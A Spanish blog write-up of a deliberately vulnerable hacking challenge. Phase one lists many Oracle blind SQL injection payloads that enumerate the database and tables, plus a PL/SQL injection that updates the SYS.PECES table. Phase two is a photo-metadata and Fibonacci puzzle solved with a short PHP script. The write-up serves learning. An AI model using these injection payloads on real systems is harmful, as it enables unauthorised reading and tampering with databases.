Solución al Reto Hacking VII (Retos Chema)
Introducción / Advertencia
Se que ya es muy tarde para publicarlo pero se me olvido publicarlo o bien ponerle una fecha de publicación, así que acepten mis mas sinceras disculpas pero últimamente el trabajo y otras distracciones me han alejado bastante del blogging.
Antes de seguir con mi propia versión acerca de como resolví el reto hacking VII del buen chema, tengo que advertir que este mismo es solo un diario de lo que hice durante el mismo, lo que puede parecer una serie de pasos metódicos para algunos para mi fueron horas de estar pensando en teorías que pueda probar y refutar.
Como siempre sugiero antes de leer mi solucionario, que le des una pasada a los solucionarios de otros participantes como lo son Daniel Kachakil, Mandingo o bien Romansoft, ya que tal vez estos te proporcionen mayor conocimiento que lo que el mio te pudiera llegar a dar.
Primera Fase
Como ya parece se va haciendo costumbre, las pistas para el reto no sirven para nada y te crean mas dudas de las que te podrían llegar a resolver, así que siguiendo mi instinto (de nuevo) tire las pistas por la borda y me dispuse a picar en todo lo que se pueda picar del reto.
Después del típico registro me dispuse a analizar el contenido de los menús que nos había dejado el chema, esta vez teníamos 4 Menus (sin contar el de Login/Entrada), en el primero llamado “Seguimiento” podíamos ver como andaban los demás participantes así como ver la cantidad de peces en la pecera de cada participante, luego de esto teníamos otro llamado “Leeme” donde se nos daban las instrucciones claras sobre que debemos hacer para conseguir llenar nuestra pecera, seguido a este instructivo tenemos el menú llamado “Pecera” lugar donde literalmente podríamos decir que “atrapábamos” los peces y por ultimo teníamos el menú “Diviertete” que consistía (al momento de analizarlo por primera vez) de un simple mensaje diciéndonos que teníamos que llenar la pecera antes de poder divertirnos.
La idea era simple: había que llenar la pecera, pero…
¿Como llenábamos la pecera?
Según el reto podíamos capturar un pez (con valor de 1 punto) cada 5 minutos, las mismas instrucciones te explicaban por que hacer el procedimiento a mano era equivalente a estar “pescando” durante 13.75 dias SIN PARAR, ya que necesitábamos la cantidad de 3,960 peces para llenar nuestra pecera (3,960 x 5 min = 19,800 min = 330 h = 13.75 días), así que una vez descartada la idea de hacerlo a mano (o bien crear un robot-web que lo haga por nosotros) esto nos dejaba en el inicio de nuevo.
Sin ninguna idea seria decidí hacer lo que todos iban haciendo que era intentar usar la técnica del spammer, la cual consistía en ver si creando una N cantidad de cuentas podrían estas cuentas literalmente donar peces a mi pecera, algo que era factible sin embargo la idea era fácil de refutar ya que si bien tu puedes “donarle” peces a otros, lo único que ganabas era solo ahorrarle al otro el chiste de apretar el botón para pedir un nuevo pez, ya que aunque si le llegaba el pez este mismo, este pez contaba como su pez valido que se te da por defecto cada 5 minutos, por consecuente los siguientes envíos de peces ya no eran tomados y se tenia que volver a esperar los 5 minutos obligatorios.
Las horas pasaban, la falta de ideas “cuerdas” empezaba a generar estrés y cansancio, esto provoco que empiece a tirar “piedras” por todos lados para ver donde caía algo; la pecera se empezaba a ver como el camino incorrecto hacia la victoria y con los ánimos tirados al suelo, llegue al punto de literalmente pensar en dejar las armas y esperar a los solucionarios.
Sin embargo como si el destino no me dejara rendirme, en ese momento recibí un mensaje de Trancek diciéndome que tal vez los “tiros” se encuentren esta vez en la sección de seguimiento (y no en la pecera como pensaba), ya que algunos participantes tienen la teoría de que podría haber una inyección SQL a ciegas en esta sección.
Como de seguro estarán pensando, no deje pasar ni 5 minutos para ver que nos deparaba en esta sección, así que me fui a hacer algunos “tiros” comunes para ver que pegaba.
Sin embargo antes de que empezaran los tiros me encontré con un pequeño sistema de audio-captcha, el sistema era muy básico, el mismo sufría de un bug que te permitía re-usar la sesión valida varias veces (no tome el tiempo nunca, pero mi poco sentido de orientación del tiempo me dice que tal ves el tiempo oscilaba entre 1a 2 horas), esto quiere decir que con solo responder 1 vez bien el captcha, podías re-usar el mismo por una buena cantidad de tiempo, esto nos ahorraba el trabajo de hacer un sistema anti-captcha (que si bien difícil no era, ya que solo era crear una pequeña base de conocimiento) que nos haría perder tiempo y no venia al caso del reto.
Solucionado el pequeño problema anterior, nos quedábamos ya por fin frente a frente y exactamente como decían por ahí, había una inyección SQL a ciegas en el script que te permitía ver las peceras de los demás (verPecera.aspx) a través del parámetro “user” que eran donde se ponía tu nick/login:
http://retohacking7.elladodelmal.com/verPecera.aspx?user=<login>
Así que empezaba la parte mas dura ahora… saber a que nos enfrentamos, como si fuera corazonada intente la siguiente inyección:
‘/**/AND/**/’xx’='x’||’x'/**/–/**/
La cual me dio positiva, esto (para el entendimiento de solo algunos) solo significa una cosa: ORACLE.
Y así era nos estábamos enfrentando una inyección SQL a ciegas bajo Oracle, algo que para mi es nuevo y aunque he trabajado con bases de datos mantenidas a través de oracle, jamas me había visto en la necesidad real de hacer inyecciones SQL bajo esta plataforma, se que algunos dirán ahora “va hombre, no pasa nada”, pero eso no es totalmente cierto, la ideas las tengo pero cada SGBD tiene sus propios por menores y sus propias implementaciones, cosa que siéndoles sincero Oracle no se queda atrás.
Pero bueno regresando al reto… una ves que ya tenemos en mente que nos estamos enfrentando a un SGBD Oracle, lo que sigue es la parte mas aburrida: la enumeración, así que sin mas preámbulo vamos a la verdadera “talacha” del reto…
Nota: Los valores los obtenía contando la cantidad de peces que devolvía la consulta.
Tamaño Usuario
‘/**/UNION/**/ALL/**/SELECT/**/LENGTH(SUBSTR((SELECT/**/user/**/FROM/**/DUAL),1))/**/FROM/**/DUAL/**/–/**/
-> Tamaño: 6
Usuario
X = Posición del valor a sacar en el texto.
‘/**/UNION/**/ALL/**/SELECT/**/ASCII(SUBSTR((SELECT/**/user/**/FROM/**/DUAL),X,1))/**/FROM/**/DUAL/**/–/**/
-> Usuario: LECTOR
Tamaño Nombre Global de la BD
‘/**/UNION/**/ALL/**/SELECT/**/LENGTH(SUBSTR((SELECT/**/global_name/**/FROM/**/global_name),1))/**/FROM/**/DUAL/**/–/**/
-> Tamaño: 39
Nombre Global de la BD
X = Posición del valor a sacar en el texto.
‘/**/UNION/**/ALL/**/SELECT/**/ASCII(SUBSTR((SELECT/**/global_name/**/FROM/**/global_name),X,1))/**/FROM/**/DUAL/**/–/**/
-> Nombre Global BD: RETOVII.REGRESS.RDBMS.DEV.US.ORACLE.COM
Tamaño Versión BD
‘/**/UNION/**/ALL/**/SELECT/**/LENGTH(SUBSTR((SELECT/**/banner/**/||’-'||/**/(SELECT/**/Banner/**/FROM/**/v$version/**/WHERE/**/banner/**/LIKE/**/’Oracle%’)/**/FROM/**/v$version/**/WHERE/**/banner/**/LIKE/**/’TNS%’),1))/**/FROM/**/DUAL/**/–/**/
-> 120
Versión BD
X = Posición del valor a sacar en el texto.
‘/**/UNION/**/ALL/**/SELECT/**/ASCII(SUBSTR((SELECT/**/banner/**/||’-'||/**/(SELECT/**/Banner/**/FROM/**/v$version/**/WHERE/**/banner/**/LIKE/**/’Oracle%’)/**/FROM/**/v$version/**/WHERE/**/banner/**/LIKE/**/’TNS%’),X,1))/**/FROM/**/DUAL/**/–/**/
-> TNS for 32-Bits Windows: Version 10.2.0.1.0 - Product
(faltan mas datos pero decidí parar ya que no necesitaba mas datos, como apunte dejo escrito que me quede en la posicion 53 de 120)
Numero de Tablas en la BD
‘/**/UNION/**/ALL/**/SELECT/**/COUNT(*)/**/FROM/**/all_tables/**/–/**/
-> # de Tablas: 92
Tamaño de los Nombres de Tablas
X = Numero/Posición de la Tabla
‘/**/UNION/**/ALL/**/SELECT/**/LENGTH(SUBSTR((SELECT/**/table_name/**/FROM/**/(SELECT/**/ROWNUM/**/R,/**/table_name/**/FROM/**/all_tables)/**/WHERE/**/R=X),1))/**/FROM/**/DUAL/**/–/**/
Nombres de Tablas
X = Numero/Posición de la Tabla
Y = Posición del valor a sacar en el texto.
‘/**/UNION/**/ALL/**/SELECT/**/ASCII(SUBSTR((SELECT/**/table_name/**/FROM/**/(SELECT/**/ROWNUM/**/R,/**/table_name/**/FROM/**/all_tables)/**/WHERE/**/R=X),Y,1))/**/FROM/**/DUAL/**/–/**/
Algunas de las Tablas Obtenidas con la inyección anterior
91 -> PSTUBTBL
92 -> PECES
Numero de Columnas Tabla PECES
‘/**/UNION/**/ALL/**/SELECT/**/COUNT(*)/**/FROM/**/all_tab_columns/**/WHERE/**/table_name=’PECES’/**/–/**/
-> # de Columnas: 3
Tamaño Nombres Columnas Tabla PECES
X = Numero/Posición de la columna en la tabla peces.
‘/**/UNION/**/ALL/**/SELECT/**/LENGTH(SUBSTR((SELECT/**/column_name/**/FROM/**/(SELECT/**/ROWNUM/**/R,/**/column_name/**/FROM/**/all_tab_columns/**/WHERE/**/table_name=’PECES’)/**/WHERE/**/R=X),1))/**/FROM/**/DUAL/**/–/**/
Nombres Columnas Tabla PECES
X = Numero/Posición de la columna en la tabla peces
Y = Posición del valor a sacar en el texto.
‘/**/UNION/**/ALL/**/SELECT/**/ASCII(SUBSTR((SELECT/**/column_name/**/FROM/**/(SELECT/**/ROWNUM/**/R,/**/column_name/**/FROM/**/all_tab_columns/**/WHERE/**/table_name=’PECES’)/**/WHERE/**/R=X),Y,1))/**/FROM/**/DUAL/**/–/**/
Columna 1: USUARIO
Columna 2: NUMEROPECES
Columna 3: ULTIMOPEZ
Tipos de Datos de las Columnas
X = Numero/Posición de la columna en la tabla peces
Y = Posición del valor a sacar en el texto.
‘/**/UNION/**/ALL/**/SELECT/**/ASCII(SUBSTR((SELECT/**/data_type/**/FROM/**/(SELECT/**/ROWNUM/**/R,/**/data_type/**/FROM/**/all_tab_columns/**/WHERE/**/table_name=’PECES’)/**/WHERE/**/R=X),Y,1))/**/FROM/**/DUAL/**/–/**/
Columna 1: VARCHAR2
Columna 2: NUMBER
Columna 3: DATE
Columnas Largos
X = Numero/Posición de la columna en la tabla peces
‘/**/UNION/**/ALL/**/SELECT/**/(SELECT/**/data_length/**/FROM/**/(SELECT/**/ROWNUM/**/R,/**/data_length/**/FROM/**/all_tab_columns/**/WHERE/**/table_name=’PECES’)/**/WHERE/**/R=X)/**/FROM/**/DUAL/**/–/**/
Columna 1: 50
Columna 2: 22
Columna 3: 7
Ya después de tener suficiente información sobre la tabla peces (nuestra tabla indicada) así como un poco de información del SGBD, seguimos con la siguiente parte de esta fase, muchos se preguntaran en este momento como un usuario que claramente se dice ser un usuario “Lector” puede escribir o cambiar información en la tabla peces y mas aun sabiendo que nos encontramos detrás de una sentencia SELECT.
Como ustedes de seguro están pensando, lo primero que se me vino a la mente es algún bug/exploit muy especifico que nos permitiese realizar las operaciones de escritura con una cuenta de solo lectura, sin embargo después de investigar sobre los que se acomodaban a nuestra situación y de claramente intentarlos, no obtuve ningún resultado positivo.
Estoy me llevo a meditar seriamente sobre como estaba construida la BD… el punto clave se encontraba en el nombre del usuario (LECTOR) de la BD, al llamarse así el usuario podría indicar la existencia de otro usuario posiblemente llamado ESCRITOR, el cual “obviamente” cuenta con privilegios de escritura; en ese momento me llegaron dos dudas grandes, que eran claves para este reto…
Donde esta ese usuario?
Como podre usar el mismo?
Después de meditarlo seriamente, decidí pensar que el reto tal vez se dividía en dos partes, tal vez verPecera.aspx solo me serviría para enumerar datos de la tabla y era en otro lado donde realmente teníamos que hacer el cambio necesario en la tabla para poder llenar nuestra pecera, al momento de pensar en esto me llego a la mente la sección “Pecera”, ya que en esta sección es la que nos brindaba peces por consecuente esta posiblemente tenia permisos de escritura, teoría que obedecía a una seguridad basada en roles donde solo un usuario tenia permiso para escribir y otro solo para leer los datos.
Al parecer tenia toda la información necesaria por lo que decidí que era el momento de dejar verPecera.aspx y moverme ahora hacia la sección “Pecera”; como recuerdan mis primeros tiros se dieron aquí y por consecuente ya sabia que tal vez la inyección se este dando en el parámetro del nombre del usuario, ya que era el único (prácticamente hablando) que podríamos llenar, otros eran parte de la framework ASP.NET y los que faltaban eran la posición del ratón a la hora de hacer clic sobre el botón para pedir “un nuevo pez”.
Así que una ves descartados varios escenarios y teniendo en mente la información conseguida gracias a la enumeración previa, el único escenario que quedaba en mente era una inyección bajo un PL/SQL, para probar esta idea use la siguiente inyección:
g30rg3_x’);commit;end;–
La cual me dio positiva a ejecución; como se podía apreciar esto nos sugería la idea de poder ejecutar otra sentencia SQL en conjunto, obviamente no pude esperar a en probar la siguiente inyección:
g30rg3_x’);UPDATE/**/PECES/**/SET/**/NUMEROPECES=6890/**/WHERE/**/USUARIO=’g30rg3_x’;commit;end;–
Aunque la idea parecía el camino correcto y solución final a esta fase, al ejecutarlo la sentencia me dio un resultado negativo, así que sin mas ideas decidí romper mi promesa (que me hice a mi mismo) en el anterior solucionario y contacte con Romansoft para pedirle consejo, a lo que el me respondió…
Buenas,
¡ya lo tienes casi!!
Del verPecera.aspx no te haca falta más (ya tienes lo que necesitas: la tabla PECES), céntrate en lo de añadir pez, que vas estupendamente. 2 pistas:
- en añadir pez tienes permiso de escritura sobre la tabla PECES
- piensa en diferentes formas de nombrar una tabla en Oracle
El quid de la cuestión es lo segundo, creo que ahí estás fallando.
Saludos,
-Román
Formas de nombrar una tabla en Oracle?
El Quid? … Query-ID? ![]()
(Por suerte el buen patoruzu me indico el verdadero significado de quid, ya que si no hubiera perdido varios dias buscando el “Query-ID”
)
Pero bueno concentrándonos ahora en la segunda cuestión de las pistas de Romansoft, tenemos entonces que estamos realmente mal llamando a nuestra tabla, después de unas cuantas búsquedas logre dar con este articulo sobre la seguridad basada en roles bajo oracle, en el cual hablaban sobre algunos puntos negativos en usar esta misma y uno de ellos era la necesidad de dar privilegios de lectura al publico para que otros usuarios puedan trabajar con la información y ahí mismo nos decía que para poder hacer esto teníamos que crear un “sinónimo” usando el nombre completo de la tabla, el cual era “dueño.tabla”.
Una vez que leí esto me dije a mi mismo “Entonces necesito poner el dueño de la tabla peces”, el primer intento lo hice pensando que usuario Lector tal vez sea el dueño de la tabla peces, pero no, este no era, así que después de probar algunas posibilidades de nombres de usuario (como serian escritor, chema, rh7, garrupito?, …), decidí que tal vez era hora de regresar a verPecera.aspx y tratar de buscar el dueño, el cual encontré usando esta inyección…
Dueño/Owner de la tabla Peces
X = Posición del valor a sacar en el texto.
‘/**/UNION/**/ALL/**/SELECT/**/ASCII(SUBSTR((SELECT/**/owner/**/FROM/**/(SELECT/**/ROWNUM/**/R,/**/owner/**/FROM/**/all_tables/**/WHERE/**/table_name=’PECES’)/**/WHERE/**/R=1),X,1))/**/FROM/**/DUAL/**/–/**/
-> Dueño/Owner: SYS
Como podemos observar el dueño es SYS, así que era solo cuestión de completar nuestro previo intento usando SYS.PECES como nombre de tabla, lo cual procedí a realizar de inmediato:
g30rg3_x’);UPDATE/**/SYS.PECES/**/SET/**/NUMEROPECES=6890/**/WHERE/**/USUARIO=’g30rg3_x’;commit;end;–
Después de realizar esta, el reto nuevamente (como en el anterior reto) me saco, asi que tuve que re-loguearme, como es claro corrí rápidamente a la sección “Pecera” para ver si había llenado mi pecera o bien habia tirado en vano y debía seguir rompiéndome la cabeza, pero al llegar solo encontre el siguiente mensaje:
“Prueba superada, continua el reto en el siguiente nivel”
Woahh!!!!! Lo logre ![]()
Me servi un un vasito de refresco en señal de victoria y procedí a la siguiente ronda… ahora si a “divertirse”.
Segunda Fase
Una vez que llegue a esta segunda fase me encontré con una imagen de un girasol, una frase de Karl Weierstrass que decía “Un matemático que no es también algo de poeta nunca sera un matemático completo” y 2 campos de texto que habían que llenar 2 Claves, sin ninguna idea de hacia donde iban los tiros, decidí ahorrarme camino y preguntarle a Romansoft un consejo sobre esta fase, a lo que me respondio:
Buenas,
Mi consejo es que pases de esa fase y no pierdas tiempo. No es técnica y es imposible de pasar sin ayuda (y no vas a aprender nada con esta fase). Y si de todas formas sigues interesado, pregúntale directamente a Chema y que él te guíe (porque si no, es imposible).
mmm asi que me debo rendir? o preguntarle a chema? mmm
Así que contacte de inmediato con chema, a lo que me respondio:
Hola g30rg3_x
siento la fase 2, se le fue la mano a un compi mio.
Vale, la idea es buscar en las propiedades de la foto y aparece que alguien murio en la misma fecha que otro persona.
Cuando buscas en google por murió en xxxx siendo esto la fecha, aparece el nombre de un matemático famoso que murió en esa fecha.
Ese es el valor de la primera cajita.
El valor de la segunda cajita consiste en aplicar el algoritmo de ese matemático (empezando en la posición 0) al texto del mensaje.
Ese es el valor de la segunda caja.
Gracias por jugar y siento lo de este juego de ingenio, que se le fue la mano a mi compi.
Un saludo!
Muy bien, chema nos dio una super-pista, bueno mejor dicho chema nos resolvio el reto así que solo faltaba realizar lo que el me decía, así que empecemos con la primera clave…
Los meta datos de la foto nos decía en el campo Autor “murió” y en el campo Comentario “El mismo año que el nieto del fabricante de la cámara”, así que bueno tenemos que el matemático famoso que andamos buscando murió el mismo año que el nieto del fabricante de la cámara que tomo la foto del girasol, según los meta datos el fabricante es “Barbarroja” mejor conocido como Federico I y según el mismo articulo su nieto era Federico II Hohenstaufen quien murio en el año 1250 DC, entonces el matemático famoso que murió el mismo año que el fabricante de la cámara que tomo la foto del girasol era Leonardo de Pisa mejor conocido por todos como Fibonacci, quien era nuestra primera clave.
Ahora la siguiente parte consistía en aplicar la idea de la sucesión de fibonacci a la frase de Karl Weierstrass, aquí para serles sinceros me atore varios días, debido a que creí que a lo mejor chema se había inventando algún algoritmo de encriptación usando fibonacci como base, llegue a pensar inclusive que era una adaptación del codigo smithy y siendo aun mas sincero si no fuera por que patoruzu estuvo diciéndome que iba por mal camino lo mas seguro es que nunca hubiera acabado el reto, así que agradezco mucho su consejo para esta parte del reto.
Pero bueno regresando al mismo, entonces si es una simple aplicación lo único que tengo que hacer es tomar solo los caracteres que se encuentren en las posiciones que corresponden o bien son parte de la sucesión fibonacci, para realizar esto me hice un de un pequeño script en PHP que hiciera esta labor:
<?php
function FibonacciParaCadenas($cadena) {
$cadena = (string) $cadena;
$anterior = 0;
$actual = 1;
$temp = 0;
$resultado = '';
while ( $anterior < strlen($cadena) ) {
$resultado .= $cadena[$anterior];
$temp = $actual;
$actual = $anterior + $actual;
$anterior = $temp;
}
return $resultado;
}
print FibonacciParaCadenas( $argv[1] ) . "\n";
?>
Como ven el script es muy simple y lo unico que habia que hacer es pasarle como cadena la frase “Un matematico que no es tambien algo de poeta nunca sera un matematico completo” para obtener como resultado: “Unn mta ega”, que era nuestra segunda y ultima clave.
Luego ya solo quedaba poner las dos claves y asi terminar por fin el reto…
Enhorabuena, has conseguido pasar el reto
El juego ha terminado, gracias por participar
Conclusión
Hemos llegado a otro final de otro reto hacking del buen chema, el tema de esta vez me encanto, ya que jamas me había tocado jugar con una inyección SQL a ciegas bajo Oracle, siempre es mas fácil encontrarse BD’s mantenidas bajo SQL Server o MySQL (sobre todo de este ultimo) y practicar estas en casa no siempre es tan reconfortante y educativo.
Quiero agradecer o mas bien dejar en claro que esta vez el reto lo hice en conjunto con patoruzu, el fue la persona con la que debatía la mayoría de mis “teorías locas” así como “mis ideas”, entre el y su servidor fuimos armando todas las ideas anteriores que llegaron ahora a formar parte del solucionario final para el reto hacking VII.
Esperemos que para el siguiente tenga el tiempo necesario y conocimiento para estar a la altura del mismo.
Enlaces
Reto Hacking VII
Un informático en el lado del mal
Oracle SQL Injection Cheat Sheet













Escrito por: DarK-ZeRo
26 de Mayo del 2008 a las 10:52 pm
wooow!, lo que fue ese reto…
Complicadísimo se vé.
Salu2!
Escrito por: Marticore
3 de Junio del 2008 a las 8:40 am
hmmm, que weva hacerlo xDDDDDD